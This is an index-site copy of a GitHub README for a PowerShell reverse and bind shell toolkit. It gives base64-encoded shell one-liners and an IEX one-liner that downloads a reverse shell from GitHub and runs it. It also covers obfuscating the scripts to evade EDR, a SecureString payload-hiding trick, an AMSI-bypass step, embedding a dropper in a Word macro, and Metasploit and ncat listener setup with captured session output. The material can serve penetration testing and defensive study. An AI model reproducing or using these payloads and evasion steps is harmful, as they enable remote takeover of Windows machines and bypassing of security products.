Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/ivan-sincek/powershell-reverse-tcp

PowerShell scripts for communicating with a remote host.
https://github.com/ivan-sincek/powershell-reverse-tcp

bind-shell bind-tcp bug-bounty defensive-security ethical-hacking networking offensive-security penetration-testing powershell red-team-engagement reverse-shell reverse-tcp security tcp

Last synced: 28 days ago
JSON representation

PowerShell scripts for communicating with a remote host.

Awesome Lists containing this project

README

        

# PowerShell Reverse TCP

PowerShell scripts for communicating with a remote host.

Remote host will have a full control over the client and all the underlying system commands.

Check shells based on:

* Invoke-Expression PowerShell command [here](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/invoke_expression),
* process pipes [here](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/process_pipes).

Tested with PowerShell v5.1.19041.2673 on Windows 10 Enterprise OS (64-bit).

Made for educational purposes. I hope it will help!

**This repository started to have known signatures and I don't have time to upload new scripts each time so you should obfuscate these scripts yourself.**

Future plans:

* more shells based on process pipes, and optimize them further.

## Table of Contents

* [How to Run](#how-to-run)
* [Obfuscate PowerShell Scripts](#obfuscate-powerShell-scripts)
* [PowerShell Encoded Command](#powershell-encoded-command)
* [SecureString](#securestring)
* [AMSI Bypass](#amsi-bypass)
* [MS Word Integration](#ms-word-integration)
* [Set Up a Listener](#set-up-a-listener)
* [Runtime](#runtime)

## How to Run

**Change the IP address and port number inside the scripts as necessary.**

Open the PowerShell from [\\src\\invoke_expression\\original\\](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/invoke_expression/original) or [\\src\\process_pipes\\original\\](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/process_pipes/original) and run the commands shown below.

Set the execution policy:

```pwsh
Set-ExecutionPolicy Unrestricted
```

Run the script:

```pwsh
.\powershell_reverse_tcp.ps1
```

Or, run the following command from either PowerShell or Command Prompt:

```pwsh
PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
```

## Obfuscate PowerShell Scripts

Try to bypass EDR and other security mechanisms by obfuscating your scripts. You can see such obfuscations in the examples below.

Original PowerShell command:

```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)
```

Obfuscated PowerShell command:

```pwsh
& (`G`C`M *ke-E*) '(& (`G`C`M *ew-O*) `N`E`T`.`W`E`B`C`L`I`E`N`T)."`D`O`W`N`L`O`A`D`F`I`L`E"($url, $out)'
```

**Check the original PowerShell script [here](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) and the fully obfuscated one [here](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1).**

After [manual obfuscation](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1), the original PowerShell script was obfuscated with [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). Credits to the author!

Search the Internet for additional obfuscation techniques and methods.

P.S. Because PowerShell is constantly being updated, some regular expressions (e.g. `*ke-E*`) may start to throw exceptions due to multiple methods matching the same expression, so the expressions will need to be specified a little bit better.

### PowerShell Encoded Command

To generate a PowerShell encoded command from a PowerShell script, run the following PowerShell command:

```pwsh
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))
```

To decode a PowerShell encoded command, run the following PowerShell command:

```pwsh
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($command))
```

Use the one-liners below if you don't want to leave any artifacts behind.

---

**\[Reverse TCP - Invoke-Expression\]** To pass parameters to the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:

```pwsh
PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAg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AcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHMAOwAgAH0AIABpAGYAIAAoACQAYwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJAByACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAByADsAIAB9ACAAaQBmACAAKAAkAGQAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGQAOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwADsA
```

The encoded script will prompt for input. See the slightly altered script [here](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/powershell_reverse_tcp_prompt.ps1) - used the [minified](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1) script to reduce the command length.

**\[Reverse TCP - Process Pipes\]** To pass parameters to the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:

```pwsh
PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgACQAcAB0ACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACAAaQBmACAAKAAkAGEALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQAgAC0AbwByACAAJABwAHQALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAbwB0AGgAIABwAGEAcgBhAG0AZQB0AGUAcgBzACAAYQByAGUAIAByAGUAcQB1AGkAcgBlAGQAIgA7ACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUABvAHcAZQByAFMAaABlAGwAbAAgAFIAZQB2AGUAcgBzAGUAIABUAEMAUAAgAHYANAAuADAAIABiAHkAIABJAHYAYQBuACAAUwBpAG4AYwBlAGsALgBgAG4ARwBpAHQASAB1AGIAIAByAGUAcABvAHMAaQB0AG8AcgB5ACAAYQB0ACAAZwBpAHQAaAB1AGIALgBjAG8AbQAvAGkAdgBhAG4ALQBzAGkAbgBjAGUAawAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALQByAGUAdgBlAHIAcwBlAC0AdABjAHAALgAiADsAIAAkAGMAIAA9ACAAJABzACAAPQAgACQAYgAgAD0AIAAkAHcAIAA9ACAAJABwACAAPQAgACQAZQAgAD0AIAAkAG8A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AFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJABlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGUALgBDAGwAZQBhAHIAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABlADsAIAB9ACAAaQBmACAAKAAkAG8AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAbwAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAG8AOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwAHQAOwA=
```

The encoded script will prompt for input. See the slightly altered script [here](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/process_pipes/prompt/powershell_reverse_tcp_prompt.ps1) - used the [minified](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/process_pipes/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1) script to reduce the command length.

---

**\[Bind TCP - Invoke-Expression\]** To pass parameters to the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:

```pwsh
PowerShell -Command "'9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABwACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACA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IALQBWAGEAcgBpAGEAYgBsAGUAIABkADsAIAB9ACAAWwBHAEMAXQA6ADoAQwBvAGwAbABlAGMAdAAoACkAOwAgAH0AIAB9ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcAA7AA==
```

The encoded script will prompt for input. See the slightly altered script [here](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/powershell_bind_tcp_prompt.ps1) - used the [minified](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/minified/powershell_bind_tcp_prompt_mini.ps1) script to reduce the command length.

### SecureString

To generate a PowerShell SecureString from a PowerShell script, run the following PowerShell command (the string can get very long):

```pwsh
ConvertFrom-SecureString -k (0..15) (ConvertTo-SecureString (Get-Content -Path $script -Raw) -AsPlainText -Force)
```

To decode and run a PowerShell SecureString, run the following PowerShell command:

```pwsh
IEX((New-Object System.Net.NetworkCredential("", (ConvertTo-SecureString -k (0..15) $string))).Password)
```

Most security products will flag a PowerShell script as malicious if the script uses `&` symbol excessively.

Check the [manually obfuscated](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1) and transformed reverse shell script [here](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/secure_string/powershell_reverse_tcp_secure_string.ps1).

Check the [manually obfuscated](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_bind_tcp_manual.ps1) and transformed bind shell script [here](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/secure_string/powershell_bind_tcp_secure_string.ps1).

## AMSI Bypass

If Windows Defender is blocking your PowerShell script or encoded command execution, generate an AMSI bypass code from [AMSI.fail](https://amsi.fail) and run it in your PowerShell session. Credits to the author!

After running the AMSI bypass code, you can download the content of your PowerShell script from the web using this one-liner:

```pwsh
IEX([System.IO.StreamReader]::New([System.Net.WebRequest]::Create('https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1').GetResponse().GetResponseStream()).ReadToEnd());
```

Find out more about AMSI bypass at [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell). Credits to the author!

## MS Word Integration

To embed a PowerShell script into an MS Word document, check [macro_pack](https://github.com/sevagas/macro_pack) tool. Credits to the author!

Run the following command from either PowerShell or Command Prompt:

```fundamental
echo "https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/invoke_expression/prompt/powershell_reverse_tcp_prompt.ps1" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc
```

## Set Up a Listener

To set up a listener, open your preferred console on Kali Linux and run one of the examples below.

Set up `ncat` listener:

```fundamental
ncat -nvlp 9000
```

Set up `multi/handler` listener:

```fundamental
msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit
```

## Runtime

```fundamental
β”Œβ”€β”€(rootπŸ’€kali)-[~]
└─# ncat -nvlp 9000
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9000
Ncat: Listening on 0.0.0.0:9000
Ncat: Connection from 192.168.1.109.
Ncat: Connection from 192.168.1.109:50418.
PS>Get-Host

Name : ConsoleHost
Version : 5.1.19041.2673
InstanceId : 3d17d7be-e720-4f39-93a2-cf509887f57a
UI : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture : hr-HR
CurrentUICulture : en-US
PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled : True
IsRunspacePushed : False
Runspace : System.Management.Automation.Runspaces.LocalRunspace

PS>
```